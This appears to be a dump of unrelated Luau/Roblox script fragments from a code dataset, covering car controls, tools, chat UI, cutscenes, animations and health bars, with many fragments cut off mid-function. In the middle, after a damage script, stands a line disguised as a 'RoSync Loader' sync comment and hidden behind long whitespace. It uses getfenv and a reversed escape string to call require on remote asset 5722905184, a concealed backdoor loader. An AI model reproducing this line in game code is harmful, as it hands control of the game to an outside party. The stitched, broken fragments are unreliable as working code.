Roblox/luau_corpus huggingface dataset:
-- Given change op and array of diffs, return concatenated string:
-- * include common strings
-- * include change strings which have argument op with changeColor
-- * exclude change strings which have opposite op
local function concatenateRelevantDiffs(op: number, diffs: Array<Diff>, changeColor: DiffOptionsColor): string
	return Array.reduce(diffs, function(reduced, diff)
		if diff[1] == DIFF_EQUAL then
			return reduced .. diff[2]
		elseif diff[1] == op and #diff[2] ~= 0 then -- empty if change is newline
			return reduced .. changeColor(diff[2])
		end
		return reduced .. ""
	end, "")
end

export type ChangeBuffer = {
	op: number,
	line: Array<Diff>,
	lines: Array<Diff>,
	changeColor: DiffOptionsColor,
	pushSubstring: (self: ChangeBuffer, substring: string) -> (),
	pushLine: (self: ChangeBuffer) -> (),
	isLineEmpty: (self: ChangeBuffer) -> boolean,
	pushDiff: (self: ChangeBuffer, diff: Diff) -> (),
	align: (self: ChangeBuffer, diff: Diff) -> (),
	moveLinesTo: (self: ChangeBuffer, lines: Array<Diff>) -> (),
}
--Player.CameraMode = "Classic"
if Player.PlayerGui:FindFirstChild("Scope") ~= nil then
end
end
end
end
Tool.Equipped:connect(function(mouse)
	mouse.KeyDown:connect(ZOOM)
end)
-- (Hat Giver Script - Loaded.)

debounce = true

function onTouched(hit)
	if (hit.Parent:findFirstChild("Humanoid") ~= nil and debounce == true) then
		debounce = false
		h = Instance.new("Hat")
		p = Instance.new("Part")
		h.Name = "GreenFabrege"
		p.Parent = h
		p.Position = hit.Parent:findFirstChild("Head").Position
		p.Name = "Handle" 
		p.formFactor = 0
		p.Size = Vector3.new(2, 1, 1) 
		p.BottomSurface = 0 
		p.TopSurface = 0 
		p.Locked = true 
		script.Parent.Mesh:clone().Parent = p
		h.Parent = hit.Parent
		h.AttachmentPos = Vector3.new(0, -1.125, 0)
		wait(5)
		debounce = true
	end
end

script.Parent.Touched:connect(onTouched)
-- / Client.lua / --

CarStartupSound:Play();
delay(.5, function()
	CarEngine:Play();
end)

for key in pairs(carSettings) do
	ContextActionService:BindAction(key, Control, false, Enum.KeyCode[key])
end

local accelerating = false;
local a = 0;
Heartbeat:Connect(function(dt)
	accelerating = false
	for key, property in pairs(carSettings) do
		if not property[1] then continue end;
		accelerating = true;
		
		if typeof(property[2]) == "Vector3" then
			BodyPosition.Position += property[2]*dt*a;
		elseif typeof(property[2]) == "number" then
			BodyGyro.CFrame *= CFrame.Angles(0, property[2]*dt*(a*.1), 0);
		elseif typeof(property[2]) == "CFrame" then
			BodyPosition.Position += Vector3.new(
				-math.sin(math.rad(CarModel.Orientation.Y))*property[2].X*dt*a,
				0,
				-math.cos(math.rad(CarModel.Orientation.Y))*property[2].X*dt*a
			) -- trig is evil
		end
	end
	
	if accelerating then
		a = math.clamp(a + accelerationSettings.inc*dt, 0, accelerationSettings.max);
		TweenService:Create(CarEngine, TweenInfo.new(dt), {PlaybackSpeed =  1 + (1*a/accelerationSettings.max)}):Play();
	else
		a = 0;
		TweenService:Create(CarEngine, TweenInfo.new(1), {PlaybackSpeed =  1}):Play();
	end
	
	
	
	accelerating = false;
end)
-- Obtaining a unique ID for every call
function Util.getGlobalId()
	GLOBAL_ID = GLOBAL_ID + 1
	return GLOBAL_ID
end
--	end
	

	if humanoid ~= nil then
		tagHumanoid(humanoid)
		humanoid:TakeDamage(damage)
		wait(2)
		untagHumanoid(humanoid)
	end

	connection:disconnect()
	ball.Parent = nil
end

function tagHumanoid(humanoid)
	-- todo: make tag expire
	local tag = ball:findFirstChild("creator")
	if tag ~= nil then
		local new_tag = tag:clone()
		new_tag.Parent = humanoid
	end
end


function untagHumanoid(humanoid)
	if humanoid ~= nil then
		local tag = humanoid:findFirstChild("creator")
		if tag ~= nil then
			tag.Parent = nil
		end
	end
end

connection = ball.Touched:connect(onTouched)

wait(8)
ball.Parent = nil
--[[ Last synced 4/6/2021 12:00                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
---Creator function return object keys
local KEY_BASE_FRAME = "BaseFrame"
local KEY_BASE_MESSAGE = "BaseMessage"
local KEY_UPDATE_TEXT_FUNC = "UpdateTextFunction"
local KEY_GET_HEIGHT = "GetHeightFunction"
local KEY_FADE_IN = "FadeInFunction"
local KEY_FADE_OUT = "FadeOutFunction"
local KEY_UPDATE_ANIMATION = "UpdateAnimFunction"

local TextService = game:GetService("TextService")

local Players = game:GetService("Players")
local LocalPlayer = Players.LocalPlayer
while not LocalPlayer do
	Players.ChildAdded:Wait()
	LocalPlayer = Players.LocalPlayer
end

local clientChatModules = script.Parent.Parent
local ChatSettings = require(clientChatModules:WaitForChild("ChatSettings"))
local ChatConstants = require(clientChatModules:WaitForChild("ChatConstants"))

local okShouldClipInGameChat, valueShouldClipInGameChat = pcall(function() return UserSettings():IsUserFeatureEnabled("UserShouldClipInGameChat") end)
local shouldClipInGameChat = okShouldClipInGameChat and valueShouldClipInGameChat

local module = {}
local methods = {}
methods.__index = methods

function methods:GetStringTextBounds(text, font, textSize, sizeBounds)
	sizeBounds = sizeBounds or Vector2.new(10000, 10000)
	return TextService:GetTextSize(text, textSize, font, sizeBounds)
end
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 900		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1000		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8000		--		Use sliders to manipulate values
	Tune.Redline		= 8500		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 7000
	Tune.PeakSharpness	= 2.9
	Tune.CurveMult		= 0.09
	
	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 450		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 200		-- Clutch engagement threshold (higher = faster response)
--[=[
	Constructs a new BasicPane with the .Gui property set.

	@param gui GuiBase? -- Optional Gui object
	@return BasicPane
]=]
function BasicPane.new(gui)
	local self = setmetatable({}, BasicPane)

	self._maid = Maid.new()
	self.Maid = self._maid

	self._visible = false

	self.VisibleChanged = Signal.new() -- :Fire(isVisible, doNotAnimate, maid)
	self._maid:GiveTask(self.VisibleChanged)

	if gui then
		self._gui = gui
		self.Gui = gui
		self._maid:GiveTask(gui)
	end

	return self
end
--[[---------------- CLIENT -----------------]]--

local ply = game.Players:GetPlayerFromCharacter(script.Parent.Parent)	
local char = ply.Character or ply.CharacterAdded:wait()
local hum = char.Humanoid
local hrp = char.HumanoidRootPart
local plyGui = ply.PlayerGui
-- Loading
local CutsceneFolder = workspace.Cutscenes:WaitForChild("startup") -- The folder that contains the cutscene data (Cameras...)
local Destroy = true -- Destroy folder after loading? you don't want your player to see your cameras floating around!
local NoYield = false -- Generally you want this to be set to false, because loading takes a little bit of time, and you don't want to interact with the cutscene when it's not loaded
local SafeMode = true -- This is adviced to be turned on, especially if the cutscene folder data is too big to load at one frame. when turned on, it loads a camera every frame, not all at once.

local Cutscene = require(CutsceneModule)

local Demo = Cutscene.new(Camera, Looping, Speed, FreezeControls) -- Create cutscene
Demo:Load(CutsceneFolder, Destroy, NoYield, SafeMode) -- Load cutscene data from folder

local PlayOnPartTouch = script:FindFirstChild("PlayOnPartTouch")
local PlayOnPlayerJoin = script:FindFirstChild("PlayOnPlayerJoin")
local PlayOnCharacterAdded = script:FindFirstChild("PlayOnCharacterAdded")
local PlayOnCharacterDied = script:FindFirstChild("PlayOnCharacterDied")
local PlayOnEventFire = script:FindFirstChild("PlayOnEventFire")
local PlayOnRemoteEventFire = script:FindFirstChild("PlayOnRemoteEventFire")
local ProtectTheCharacterWhilePlaying = script:FindFirstChild("ProtectTheCharacterWhilePlaying")
local CharacterProtector = script:FindFirstChild("CharacterProtector")
local Music = script:FindFirstChild("Music")
local StopMusicWhenFinished = script:FindFirstChild("StopMusicWhenFinished")
local StopOnEventFire = script:FindFirstChild("StopOnEventFire")
local StopOnRemoteEventFire = script:FindFirstChild("StopOnRemoteEventFire")
local PlayOnce = script:FindFirstChild("PlayOnce")
local Debounce = script:FindFirstChild("Cooldown")
local OnFinishedRemove = script:FindFirstChild("OnFinishedRemove")
local bin = true
local Player = game:GetService("Players").LocalPlayer
local CutsceneGui = script:FindFirstChild("Cutscene")
-- goro7

local plr = game.Players.LocalPlayer

game.ReplicatedStorage.Interactions.Client.ShowWelcomeScreen.OnClientEvent:connect(function()

	-- Show the welcome screen (if not visible)
	if not plr.PlayerGui.MainGui.Welcome.Visible then
		plr.PlayerGui.MainGui.Welcome.Show:Fire()
	end

end)
--//Services//--
local Players = game:GetService("Players")
local Lighting = game:GetService("Lighting")
local TweenService = game:GetService("TweenService")
local BadgeService = game:GetService("BadgeService")
local Debris = game:GetService("Debris")
--		Close:Play()
		script.Parent.Handle.sound_close:Play()
		script.Parent.EffectsHolder.AttachOff.Flick.Enabled = true
		script.Parent.EffectsHolder.AttachOff.SmokeOff.Enabled = true
		script.Parent.EffectsHolder.AttachOff.Flick.Enabled = false
		script.Parent.EffectsHolder.AttachOff.SmokeOff.Enabled = false
		script.Parent.EffectsHolder.AttachOn.MainLight.Enabled = false
		script.Parent.EffectsHolder.AttachOn.SmallLight.Enabled = false
		script.Parent.EffectsHolder.AttachOn.SmallLight2.Enabled = false
		script.Parent.EffectsHolder.AttachOn.SmallLight3.Enabled = false
		script.Parent.EffectsHolder.AttachOn.FireParticles.Enabled = false
---New Variables
local V01 = 0
local V02 = 0
local m1 = car.Misc.Hinges.Hinge:WaitForChild("ENGINE")
local m2 = car.Misc.ActualCam.Hinge:WaitForChild("ENGINE")
local Sus = car.Wheels.RR.SuspensionGeometry:WaitForChild("Spring")
local Sus2 = car.Wheels.RL.SuspensionGeometry:WaitForChild("Spring")
local Sus3 = car.Wheels.FR.SuspensionGeometry:WaitForChild("Spring")
local Sus4 = car.Wheels.FL.SuspensionGeometry:WaitForChild("Spring")
-- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
local emoteNames = { wave = false, point = false, dance1 = true, dance2 = true, dance3 = true, laugh = false, cheer = false}

function configureAnimationSet(name, fileList)
    if (animTable[name] ~= nil) then
        for _, connection in pairs(animTable[name].connections) do
            connection:disconnect()
        end
    end
    animTable[name] = {}
    animTable[name].count = 0
    animTable[name].totalWeight = 0
    animTable[name].connections = {}

    -- check for config values
    local config = script:FindFirstChild(name)
    if (config ~= nil) then
        --print("Loading anims " .. name)
        table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
        table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
        local idx = 1
        for _, childPart in pairs(config:GetChildren()) do
            if (childPart:IsA("Animation")) then
                table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
                animTable[name][idx] = {}
                animTable[name][idx].anim = childPart
                local weightObject = childPart:FindFirstChild("Weight")
                if (weightObject == nil) then
                    animTable[name][idx].weight = 1
                else
                    animTable[name][idx].weight = weightObject.Value
                end
                animTable[name].count = animTable[name].count + 1
                animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
                --print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
                idx = idx + 1
            end
        end
    end

    -- fallback to defaults
    if (animTable[name].count <= 0) then
        for idx, anim in pairs(fileList) do
            animTable[name][idx] = {}
            animTable[name][idx].anim = Instance.new("Animation")
            animTable[name][idx].anim.Name = name
            animTable[name][idx].anim.AnimationId = anim.id
            animTable[name][idx].weight = anim.weight
            animTable[name].count = animTable[name].count + 1
            animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
            --print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
        end
    end
end
--this script makes the WindMill thingy spin.

spinning = script.Parent

while true do
spinning.CFrame = spinning.CFrame * CFrame.fromEulerAnglesXYZ(0, math.rad(0),0.005)--0.005 is recommended (Higher makes it faster),(Lower is slower)
wait(0.00)
end
--[[ Touch Events ]]--
UserInputService.Changed:connect(function(property)
	if property == 'ModalEnabled' then
		IsModalEnabled = UserInputService.ModalEnabled

		if lastInputType == Enum.UserInputType.Touch then
			if ControlState.Current == ControlModules.Touch and IsModalEnabled then
				ControlState:SwitchTo(nil)
			elseif ControlState.Current == nil and not IsModalEnabled then
				ControlState:SwitchTo(ControlModules.Touch)
			end
		end
	end
end)

if FFlagUserNoCameraClickToMove then
	BindableEvent_OnFailStateChanged = MasterControl:GetClickToMoveFailStateChanged()
end
if BindableEvent_OnFailStateChanged then
	BindableEvent_OnFailStateChanged.Event:connect(function(isOn)
		if lastInputType == Enum.UserInputType.Touch and ClickToMoveTouchControls then
			if isOn then
				ControlState:SwitchTo(ClickToMoveTouchControls)
			else
				ControlState:SwitchTo(nil)
			end
		end
	end)
end

local switchToInputType = function(newLastInputType)
	lastInputType = newLastInputType

	if VRService.VREnabled then
		ControlState:SwitchTo(ControlModules.VRNavigation)
		return
	end

	if lastInputType == Enum.UserInputType.Touch then
		ControlState:SwitchTo(ControlModules.Touch)
	elseif lastInputType == Enum.UserInputType.Keyboard or
		lastInputType == Enum.UserInputType.MouseButton1 or
		lastInputType == Enum.UserInputType.MouseButton2 or
		lastInputType == Enum.UserInputType.MouseButton3 or
		lastInputType == Enum.UserInputType.MouseWheel or
		lastInputType == Enum.UserInputType.MouseMovement  then
		ControlState:SwitchTo(ControlModules.Keyboard)
	elseif lastInputType == Enum.UserInputType.Gamepad1 or
		lastInputType == Enum.UserInputType.Gamepad2 or
		lastInputType == Enum.UserInputType.Gamepad3 or
		lastInputType == Enum.UserInputType.Gamepad4 then
		ControlState:SwitchTo(ControlModules.Gamepad)
	end
end

if IsTouchDevice then
	createTouchGuiContainer()
end

MasterControl:Init()

UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
	local connectedGamepads = UserInputService:GetConnectedGamepads()
	if #connectedGamepads > 0 then return end

	if not VRService.VREnabled then
		if UserInputService.KeyboardEnabled then
			ControlState:SwitchTo(ControlModules.Keyboard)
		elseif IsTouchDevice then
			ControlState:SwitchTo(ControlModules.Touch)
		end
	end
end)

UserInputService.GamepadConnected:connect(function(gamepadEnum)
	if not VRService.VREnabled then
		ControlState:SwitchTo(ControlModules.Gamepad)
	end
end)

switchToInputType(UserInputService:GetLastInputType())
UserInputService.LastInputTypeChanged:connect(switchToInputType)

VRService.Changed:connect(function(prop)
	if prop ~= "VREnabled" then
		return
	end

	if VRService.VREnabled then
		ControlState:SwitchTo(ControlModules.VRNavigation)
	end
end)
-- ROBLOX FIXME: add type constraint <EachCallback extends TestCallback>
export type EachTestFn<EachCallback> = (...any) -> ReturnType<EachCallback>
--[=[
	Reverses the list and returns the reversed copy

	@param orig table -- Original table
	@return table
]=]
function Table.reverse(orig)
	local new = {}
	for i=#orig, 1, -1 do
		table.insert(new, orig[i])
	end
	return new
end
-- Gradually regenerates the Humanoid's Health over time.
local Character = script.Parent
local Humanoid = Character:WaitForChild'Humanoid'
Humanoid.MaxHealth = 130
local val = 130

local REGEN_RATE = .3/100 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = .25 -- Wait this long between each regeneration step.
-- Use the script's attributes as the default settings.
-- The table provided is a fallback if the attributes
-- are undefined or using the wrong value types.

local DEFAULT_SETTINGS = Settings.new(script, {
	WindDirection = Vector3.new(0.5, 0, 0.5);
	WindSpeed = 20;
	WindPower = 0.5;
})
--------RIGHT DOOR --------

game.Workspace.doorright.l13.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l23.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(106)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(1003)
--		end
--	end
--end



function brakes()
	if Values.Brake.Value > 0.01 then 
		LightEvent:FireServer("BrakeLights", Rear_Light_Type, Brake_Light_Brightness, 0.02, Trunk_Lights)
	else
		LightEvent:FireServer("BrakeLights", Rear_Light_Type, 0, 1, Trunk_Lights)
	end
end

function reverse()
	if Values.Gear.Value == -1 then
		LightEvent:FireServer("Reverse", Reverse_Light_Type, Reverse_Light_Brightness, 0.02, Trunk_Lights)
	else
		LightEvent:FireServer("Reverse", Reverse_Light_Type, 0, 1, Trunk_Lights)
	end
end

function leavedriveseat()
	LightEvent:FireServer("IndsOnLeave", LI.Value, RI.Value, H.Value, Sequential_Indicators, Sequential_Segments, Indicator_Flash_Rate, Indicator_Type)
end
--< Player Resetting >--
Player.CharacterAdded:Connect(function(Char)
	Humanoid = Char:FindFirstChildWhichIsA("Humanoid") or Char:WaitForChild("Humanoid")
end)
--[[ Initialization/Setup ]]--
local function createTouchGuiContainer()
	if TouchGui then TouchGui:Destroy() end
	
	-- Container for all touch device guis
	TouchGui = Instance.new('ScreenGui')
	TouchGui.Name = "TouchGui"
	TouchGui.ResetOnSpawn = false
	TouchGui.Parent = PlayerGui
	
	TouchControlFrame = Instance.new('Frame')
	TouchControlFrame.Name = "TouchControlFrame"
	TouchControlFrame.Size = UDim2.new(1, 0, 1, 0)
	TouchControlFrame.BackgroundTransparency = 1
	TouchControlFrame.Parent = TouchGui
	
	ThumbstickModule:Create(TouchControlFrame)
	DPadModule:Create(TouchControlFrame)
	ThumbpadModule:Create(TouchControlFrame)
	TouchJumpModule:Create(TouchControlFrame)
	DynamicThumbstickModule:Create(TouchControlFrame)
end
--local Slash = hammer:WaitForChild("Slash") -- Insert an animation in the tool
local db = false -- This is a cooldown!
--print("player and not building")
target = nearestPlayer
targetType = nearestPlayer.ClassName
lastLock = tick()

elseif nearestBuilding and not nearestPlayer then
--- SERVICES/DIRECTORIES ---

Players = game:GetService("Players")
ServerScriptService = game:GetService("ServerScriptService")
ServerStorage = game:GetService("ServerStorage")
ReplicatedStorage = game:GetService("ReplicatedStorage")

TweenService = game:GetService("TweenService")
--Function For Making New Ray Bricks
function makeRay(cframe, size)
	local p						= Instance.new("Part")
	p.Name						= "RayPart"
	p.BrickColor				= BrickColor.new("Bright green")
	p.Transparency				= 0.5
	p.Anchored					= true
	p.CanCollide				= false
	p.TopSurface				= Enum.SurfaceType.Smooth
	p.BottomSurface				= Enum.SurfaceType.Smooth
	p.formFactor				= Enum.FormFactor.Custom
	p.CFrame					= cframe
	p.Size						= size
	p.Parent					= m
	ignoreList[#ignoreList+1]	= p
end



round					= Instance.new("Part")
round.Name				= "RayPart"
round.Transparency		= 0.5
round.Anchored			= true
round.CanCollide		= false
round.TopSurface		= Enum.SurfaceType.Smooth
round.BottomSurface		= Enum.SurfaceType.Smooth
round.formFactor		= Enum.FormFactor.Custom
round.BrickColor		= BrickColor.new("Black")
yOffset					= -0.2
-- Made by the owner of Kiwami Development
repeat wait() until char ~= nil

while wait() do
	local health = char.Health
	local f = health/100
	script.Parent.HP.Value = health
	script.Parent.HealthBar:TweenSize(UDim2.new(f,0,0.654,0),"Out","Quint",0.25)
	script.Parent.TextLabel.Text = "+ "..script.Parent.HP.Value
	script.Parent.PlayerLabel.Text = plr.DisplayName

	if health <= 5 then
		script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(94, 0, 0)
		script.Parent.TextLabel.TextColor3 = Color3.fromRGB(94, 0, 0)
		script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(94, 0, 0)
		script.Parent.HP.Value = "5"
	elseif health <= 20 then
		script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
		script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
		script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 0, 0)
		script.Parent.HP.Value = "20"
	elseif health <= 50 then
		script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 85, 0)
		script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 85, 0)
		script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 85, 0)
		script.Parent.HP.Value = "50"
	elseif health <= 75 then
		script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(255, 183, 0)
		script.Parent.TextLabel.TextColor3 = Color3.fromRGB(255, 183, 0)
		script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(255, 183, 0)
		script.Parent.HP.Value = "75"
	elseif health > 75 then
		script.Parent.HealthBar.BackgroundColor3 = Color3.fromRGB(0, 200, 255)
		script.Parent.TextLabel.TextColor3 = Color3.fromRGB(0, 200, 255)
		script.Parent.PlayerLabel.TextColor3 = Color3.fromRGB(0, 200, 255)
		script.Parent.HP.Value = "75"	
	end
	if health == 0 then
		script.Parent.HP.Value = "0"
	end
end

function HealthChanged(health)
end

char.HealthChanged:connect(HealthChanged)

if error then
	script:reload()
end
-- ROBLOX FIXME Luau: should infer this function a Plugin | nil, with no warnings
local function findPlugin(plugins: Plugins, val: any): Plugin | nil
	for _, p in ipairs(plugins) do
		local ok, ret = pcall(p.test, val)
		if not ok then
			error(PrettyFormatPluginError(ret))
		elseif ret then
			return p
		end
	end

	return nil
end

function printer(
	val: any,
	config: Config,
	indentation: string,
	depth: number,
	refs: Refs,
	hasCalledToJSON: boolean?
): string
	local plugin_ = findPlugin(config.plugins, val)
	if plugin_ ~= nil then
		return printPlugin(plugin_, val, config, indentation, depth, refs)
	end

	local basicResult = printBasicValue(val, config.printFunctionName, config.escapeRegex, config.escapeString)
	if basicResult ~= nil then
		return basicResult
	end

	return printComplexValue(val, config, indentation, depth, refs, hasCalledToJSON)
end